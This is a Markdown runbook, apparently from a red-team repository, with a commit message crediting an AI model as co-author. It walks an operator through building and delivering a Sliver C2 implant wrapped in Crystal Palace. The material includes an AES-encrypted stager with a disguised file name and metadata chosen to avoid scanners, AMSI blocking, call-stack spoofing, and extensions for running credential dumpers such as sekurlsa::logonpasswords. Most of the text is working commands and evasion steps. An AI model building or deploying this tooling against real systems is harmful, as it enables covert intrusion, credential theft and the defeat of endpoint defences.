- TOOLCHAIN.md §3c: crystal-loader now ~42 KB, exports Initialize, RW→RX, -s + --gc-sections flags, no identifying strings - TOOLCHAIN.md §3d: crystal-exec now ~75 KB, gen_pico_header.py replaces xxd, XOR-encrypted embedded PICO, same evasion properties as §3c - RUNBOOK.md §1.1: correct DLL sizes (42/75 KB) - RUNBOOK.md §3: add Defender surface note — DLLs load in-memory via Sliver, PICO file from upload IS on disk and visible to scanner - RUNBOOK.md §4: note crystal-exec DLL is in-memory, PICO XOR-encrypted at build - README.md: fix RWX→RW+RX description, update verified table sizes/export, fix default-jdk → openjdk-17-jdk in quick build Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
19 KiB
Runbook — Operator Procedure (Kali → Windows lab)
End-to-end procedure to build the kit on Kali and execute on a Windows x64 lab target. Two distinct use cases:
- Use case A (PRIMARY) — implant evasion. The Sliver DLL is wrapped with Crystal Palace into a PICO and delivered with a stager. The raw Sliver DLL never touches disk on the target.
- Use case B (SECONDARY) — post-ex evasion. With a session already active, run sensitive DLLs (recon, credential dumpers) through Crystal Palace via the Sliver Extension.
The two flows share the same build pipeline and Crystal Palace distribution but produce different artifacts.
Phase 0 — One-time setup on Kali
0.1 Install toolchain
sudo apt update
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
Verify:
x86_64-w64-mingw32-gcc --version | head -1 # MinGW-w64 GCC
nasm --version # >= 2.15
java -version # must be 17 — Java 21+ breaks crystalpalace.jar with NoSuchMethodError
0.2 Get the repo on Kali
(Whatever transfer method you chose: rsync, USB, private Git remote, etc.)
cd ~/crystal-kit-sliver
ls # should see README.md, crystal-kit-sliver/, docs/, LICENSE, NOTICE.md
0.3 Download Crystal Palace dist (BSD, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve}
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
Sanity check:
ls "$CRYSTAL_PALACE_HOME"/crystalpalace.jar
"$CRYSTAL_PALACE_HOME"/link 2>&1 | head -3
Expected: Usage: ./link <loader.spec> <file.dll|file.o> <out.bin> ...
0.4 Get libtcg.x64.zip from upstream Crystal-Kit
git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit /tmp/ck
cp /tmp/ck/libtcg.x64.zip crystal-kit-sliver/
rm -rf /tmp/ck
ls -la crystal-kit-sliver/libtcg.x64.zip
0.5 Install Sliver
curl https://sliver.sh/install | sudo bash
sudo systemctl enable --now sliver
sliver-server
Inside the sliver-server console:
[server] sliver > new-operator --name operator1 --lhost <kali-ip>
# saves operator1_<host>.cfg in the working dir
[server] sliver > exit
In another terminal:
sliver-client import ./operator1_<host>.cfg
sliver-client
0.6 Prepare the Windows VM
- Windows 10/11 x64, isolated network with the Kali host
- Defender disabled or with the build dir excluded only for the first smoke test (to factor out detection from the wrapper plumbing)
- Network reachability from VM → Kali on the listener port you'll use (80 by default)
Phase 1 — Smoke test (validate the wrapper, no Crystal Palace yet)
Goal: prove that the crystal-loader.x64.dll Sliver Extension loads inside the implant and executes an arbitrary shellcode passed as argument. Does not require crystalpalace.jar.
1.1 Build the wrapper + smoke shellcode
cd crystal-kit-sliver/sliver-glue
make -C wrapper all
make -C wrapper smoketest
make -C crystal-exec all
./pack-extension.sh
ls -la build/
pack-extension.sh requires both DLLs to exist before it runs:
crystal-loader.x64.dll— provides thecrystalcommandcrystal-exec.x64.dll— provides thecrystal-execcommand
Expected files after the above:
crystal-loader.x64.dll(~42 KB, insliver-glue/parent)crystal-exec.x64.dll(~75 KB, insliver-glue/parent)build/smoketest.bin(3 bytes:31 c0 c3=xor eax,eax; ret)build/crystal-loader-0.1.0.tar.gz(~37 KB)
1.2 Start an HTTP listener
In the Sliver client:
sliver > http -L 0.0.0.0 -l 80
[*] Started HTTP listener (job 1)
1.3 Generate a standard (unwrapped) Sliver implant for the smoke test
For Phase 1 only, we want a working implant without Crystal Palace so we can isolate the Extension's behaviour from any loader issue.
sliver > profiles new --http <kali-ip>:80 --format shared smoke
sliver > profiles generate --profile smoke --save /tmp/smoke.dll
1.4 Run the implant on the Windows VM
Copy /tmp/smoke.dll to the VM and load it:
C:\> rundll32.exe smoke.dll,RunDLL
Wait for the session in the Sliver console:
[*] Session 1 - WIN10-LAB ...
sliver > use 1
sliver (WIN10-LAB) >
1.5 Install the Extension and run the smoke test
sliver (WIN10-LAB) > extensions install ./crystal-kit-sliver/sliver-glue/build/crystal-loader-0.1.0.tar.gz
[*] Installed extension: crystal-loader
sliver (WIN10-LAB) > crystal payload=./crystal-kit-sliver/sliver-glue/build/smoketest.bin
[crystal-loader] executing PICO
[crystal-loader] PICO returned
If you see those two lines and the implant survives, the Extension plumbing works end-to-end.
1.6 Common Phase 1 failures
| Symptom | Likely cause | Fix |
|---|---|---|
extensions install fails with JSON error |
Manifest schema drift | Compare extension.json against a live armory extension (e.g. sliverarmory/COFFLoader) |
crystal command not registered |
Silent install failure | extensions list — if absent, re-run install with --force |
| Implant crashes immediately | "file" argument type not handled the way we assume |
Switch the manifest arg to "string", upload payload via upload, pass target-side path |
[crystal-loader] output never appears |
BeaconOutput callback not routed |
Check Sliver server logs at ~/.sliver/logs/sliver.log |
Phase 2 — Use case A (implant evasion, primary)
Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the custom stager. Defender / EDR sees only the stager (17 KB, normal entropy) and an opaque AES-encrypted payload file; the actual Sliver DLL is XOR-masked inside the PICO and the PICO is AES-256-CBC encrypted at rest.
2.1 Build Crystal-Kit objects
cd crystal-kit-sliver
make -C loader all
make -C postex-loader all # technically optional for Phase 2, useful for Phase 3
Expected: loader/bin/ has 8 .o + 1 .bin.
2.2 Generate a fresh Sliver implant DLL
sliver > profiles new --http <kali-ip>:80 --format shared prod
sliver > profiles generate --profile prod --save /tmp/prod.dll
--format shared produces a raw DLL (not shellcode-packed) — Crystal Palace needs the DLL form.
2.3 Wrap with Crystal Palace
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /tmp/prod.dll \
crystal-kit-sliver/sliver-glue/build/prod.crystal.bin
Expected output: PICO ~110-120 KB, written to build/prod.crystal.bin.
2.4 Bundle with the stager
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/prod.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
Produces two files in build/ — both must be delivered together:
csvchelper.exe(~17 KB, custom stager, no embedded payload, normal entropy)payload.dat(~36 MB, AES-256-CBC encrypted PICO — no PE headers visible to scanners)
A fresh AES-256 key and IV are generated per build, so the binary and payload are unique on every compile. Edit stager/resource.rc to change the cover identity (company name, description, filename) before delivery. Avoid the words "update", "install", "setup", "service" in FileDescription — they trigger Windows UAC auto-elevation heuristics. The embedded asInvoker manifest already suppresses elevation, but cleaner metadata reduces scanner attention.
2.5 Drop on the Windows VM
Transfer both files to the same directory on the target through the channel that matches your engagement (scp, USB, SMB share, HTTP, etc.):
C:\Users\Public> dir
csvchelper.exe (17 KB stager)
payload.dat (~36 MB encrypted PICO)
C:\Users\Public> csvchelper.exe
csvchelper.exe and payload.dat must sit in the same directory — the stager resolves payload.dat relative to its own path via GetModuleFileNameW. No arguments needed.
Execution order inside csvchelper.exe:
BCryptGenRandomnoise → writes a random page to a temp file (auto-deleted), disrupts timing-based scannersRegOpenKeyExW(HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion)— normal-looking init- Reads
payload.datfrom its own directory BCryptDecrypt(AES-256-CBC, key baked in at compile time) → plaintext PICO in heapVirtualAlloc(RW)+memcpy+SecureZeroMemoryon heap buffer +VirtualProtect(RX)— no RWX at any pointCreateThread→ PICO entry at offset 0 (Crystal Palace+gofirstguaranteesgois there)- Crystal Palace loader resolves Win32 APIs via ror13 hashing
- Installs IAT hooks on
VirtualAlloc/VirtualProtect/VirtualFree/LoadLibraryA - Installs Draugr call-stack spoofing
- Unmasks (XOR) the embedded Sliver DLL into a new allocation (
dll_dst) - Registers the beacon's
.pdataexception table viaRtlAddFunctionTable - Runs TLS callbacks (
DLL_PROCESS_ATTACH) — CRT static init needed by CGO code - Calls
DllMain(DLL_PROCESS_ATTACH)→ Go runtime init - Walks the beacon export table and calls
StartW()— starts the beacon goroutine - Main thread loops on
SleepEx(30000, TRUE)to keep the process alive
On the Sliver console:
[*] Session 2 - WIN10-LAB ...
sliver > use 2
sliver (WIN10-LAB) > whoami
2.6 Common Phase 2 failures
| Symptom | Root cause | Fix |
|---|---|---|
| Process runs ~200 s then exits code 1, zero TCP connections | .pdata not registered → RtlLookupFunctionEntry returns NULL for all beacon addresses → goroutine stack can't grow → connection goroutine panics |
NTDLL$RtlAddFunctionTable must be called in loader.c before DllMain |
| Process exits immediately, no network activity | StartW not called — all three data-directory lookups returned zero because code was reading headers from dll_dst (which has no headers; Crystal Palace LoadSections only maps sections) |
Use GetDataDirectory(&dll_data, entry) everywhere; save export_rva before VirtualFree(dll_src) |
| CGO / CRT crashes before any network activity | TLS callback[0] (CRT _initterm) never called |
Walk IMAGE_DIRECTORY_ENTRY_TLS before DllMain; get RVA from GetDataDirectory, not from dll_dst |
| Crash in beacon goroutine shortly after start | _ExitThread hook frees dll_dst while beacon is running |
Remove cleanup_memory from _ExitThread in pico.c |
| Random crashes when beacon sleeps | _Sleep hook XOR-masks all DLL sections while Go goroutines on other threads keep executing |
Remove mask_memory calls from _Sleep in pico.c |
VirtualAlloc / VirtualFree / VirtualProtect infinite loop |
Fallback inside hook used KERNEL32$Foo which is rewritten to _Foo by loader.spec attach directive |
Use KERNELBASE$Foo as fallback (KERNELBASE is not in any attach list) |
2.8 Iteration: measure detection
- Re-enable Defender / EDR before subsequent tests
- Use
external/crystalpalace/dist/link ... -g out.yarto generate YARA rules against your build, useful for guessing the EDR signature surface - Tweak the
.spec(e.g. removemergelib libtcg.x64.zipfor a leaner build, or swap Draugr for a no-op) and rebuild
Phase 3 — Use case B: crystal command (post-ex DLL evasion)
Prerequisite: an active Sliver session.
The crystal command loads a PICO file from a path on the target machine and executes it inside the implant process. The PICO is a Crystal-Palace-wrapped DLL — XOR-masked at rest, Draugr-spoofed on load, no disk artifact beyond the PICO file itself.
The extension tarball crystal-kit-sliver/sliver-glue/build/crystal-loader-0.1.0.tar.gz contains two DLLs:
crystal-loader.x64.dll— provides thecrystalcommandcrystal-exec.x64.dll— provides thecrystal-execcommand (see Phase 4)
Defender surface: the extension DLLs (
crystal-loader.x64.dll,crystal-exec.x64.dll) are loaded in-memory by Sliver's extension system — they are sent over the C2 channel and mapped directly into the implant process. They are never written as files to the target disk and are not visible to Defender's on-access file scanner.The PICO file you upload in step 3.4 (
upload ... C:/Windows/Temp/mytool.bin) does land on disk and will be scanned by Defender on write. Keep PICO files small, avoid common shellcode patterns at offset 0 (Crystal Palace's XOR mask helps here), and delete the file after execution (step 5 cleanup).
3.1 Install the extension (one-time per session)
sliver (SESSION) > extensions install ./crystal-kit-sliver/sliver-glue/build/crystal-loader-0.1.0.tar.gz
[*] Installed extension: crystal-loader
3.2 Build a post-ex DLL on Kali
Any Windows x64 DLL that exports DllMain and optionally uses BeaconPrintf / BeaconOutput for output. Example:
x86_64-w64-mingw32-gcc -shared -o mytool.dll mytool.c
3.3 Wrap with Crystal Palace
./crystal-kit-sliver/sliver-glue/postex.sh mytool.dll
Output: crystal-kit-sliver/sliver-glue/build/mytool.pico.bin
Optional: bake runtime args into the PICO at link time (Xenon-style %ARGFILE). If you want to supply args at execution time instead, use the | separator described in step 3.5.
3.4 Upload the PICO to the target
sliver (SESSION) > upload crystal-kit-sliver/sliver-glue/build/mytool.pico.bin C:/Windows/Temp/mytool.bin
3.5 Execute
sliver (SESSION) > crystal --payload C:/Windows/Temp/mytool.bin
To pass runtime args that override the baked-in args, append them after a | separator:
sliver (SESSION) > crystal --payload C:/Windows/Temp/tool.pico.bin|sekurlsa::logonpasswords exit
Path format: always use forward slashes in the Sliver CLI. Backslashes are eaten by the Sliver argument parser.
If the DLL calls BeaconPrintf or BeaconOutput, the output is forwarded to the operator console.
3.6 Common Phase 3 failures
| Symptom | Likely cause | Fix |
|---|---|---|
--payload strips to filename only, PICO not found |
extension.json has "type": "file" for the payload arg |
Must be "type": "string" — the file type strips the directory path before sending |
| PICO returns immediately with no output | DLL does not call BeaconPrintf/BeaconOutput |
Output is expected; DLL may be working silently — verify via a side channel |
| Implant crashes after PICO returns | _ExitThread hook in pico.c calls cleanup_memory + Draugr, freeing memory still in use |
Remove cleanup_memory and Draugr calls from _ExitThread in postex-loader/src/pico.c |
| Crystal Palace link fails | Missing CRYSTAL_PALACE_HOME |
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist |
Phase 4 — crystal-exec (built-in command executor)
The crystal-exec command runs an arbitrary shell command on the target through the Crystal Palace evasion stack. No file to upload — the executor PICO is embedded inside crystal-exec.x64.dll at build time. Output is returned to the Sliver console via an anonymous pipe; no disk artifact is created.
Like crystal-loader.x64.dll, the crystal-exec.x64.dll DLL is loaded in-memory by Sliver and never written to disk on the target. This means Defender's file scanner does not see it. The embedded PICO bytes are XOR-encrypted with a fresh 256-byte key at build time (gen_pico_header.py), so static patterns from Crystal Palace do not appear in the DLL's .data section.
4.1 Install the extension (same tarball as Phase 3)
If not already installed:
sliver (SESSION) > extensions install ./crystal-kit-sliver/sliver-glue/build/crystal-loader-0.1.0.tar.gz
Both the crystal and crystal-exec commands are registered from the same tarball.
4.2 Run a command
sliver (SESSION) > crystal-exec --cmd "whoami /all"
sliver (SESSION) > crystal-exec --cmd "net user /domain"
sliver (SESSION) > crystal-exec --cmd "ipconfig /all"
sliver (SESSION) > crystal-exec --cmd "powershell.exe -enc <base64>"
30-second timeout. The command exits cleanly after output is collected.
4.3 What the evasion covers
| Layer | What happens |
|---|---|
| DLL load | All API calls go through Draugr (call stack spoofed to look like legitimate Windows modules) |
| AMSI | amsi.dll load is blocked at the loader level |
| DLL at rest | DLL code is XOR-masked inside the PICO |
| Memory cleanup | Timer-queue cleanup runs after execution |
| Child process | The child process (cmd.exe) itself is not evaded — evasion is at the loader level |
Use crystal-exec for operations that trigger EDR on the API calls made during DLL load (credential dumpers, injection tools). For basic recon where EDR pressure is low, a plain shell command is simpler.
4.4 Rebuild crystal-exec.x64.dll (if needed)
cd crystal-kit-sliver/sliver-glue/crystal-exec
make
This compiles crystalexec.dll, wraps it with Crystal Palace, embeds the resulting PICO as a C header, and compiles crystal-exec.x64.dll. Then repack the extension:
cd crystal-kit-sliver/sliver-glue
./pack-extension.sh
Phase 5 — Cleanup / rollback
End-of-engagement:
sliver > extensions remove crystal-loader
sliver > sessions kill <id>
sliver > jobs kill <id>
Windows VM — remove any uploaded PICO files:
C:\> del C:\Windows\Temp\*.pico.bin
C:\> del C:\Windows\Temp\*.bin
C:\> taskkill /F /IM csvchelper.exe
C:\> del payload.dat
Adjust the binary name to whatever you renamed the stager to before delivery.
Local Kali build artifacts:
make -C crystal-kit-sliver/loader clean
make -C crystal-kit-sliver/postex-loader clean
make -C crystal-kit-sliver/sliver-glue/wrapper clean
make -C crystal-kit-sliver/sliver-glue/crystal-exec clean
rm -rf crystal-kit-sliver/sliver-glue/build
Quick smoke test on Kali (sanity check before going to the lab)
Run this end-to-end from a freshly cloned repo. Should complete in under 30 seconds without errors and without an actual Sliver implant DLL:
cd ~/crystal-kit-sliver
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
echo "" > /tmp/empty.args
./crystal-kit-sliver/sliver-glue/generate.sh \
external/crystalpalace/dist/demo/test.x64.dll \
/tmp/empty.args \
crystal-kit-sliver/sliver-glue/build/test-postex.pico.bin
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll \
external/crystalpalace/dist/demo/test.x64.dll \
crystal-kit-sliver/sliver-glue/build/test-implant.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/test-implant.bin \
crystal-kit-sliver/sliver-glue/build/test-csvchelper.exe
./crystal-kit-sliver/sliver-glue/pack-extension.sh
ls -la crystal-kit-sliver/sliver-glue/build/
If all five artifacts are produced (test-postex.pico.bin, test-implant.bin, test-csvchelper.exe, payload.dat, crystal-loader-0.1.0.tar.gz), your Kali side is fully functional.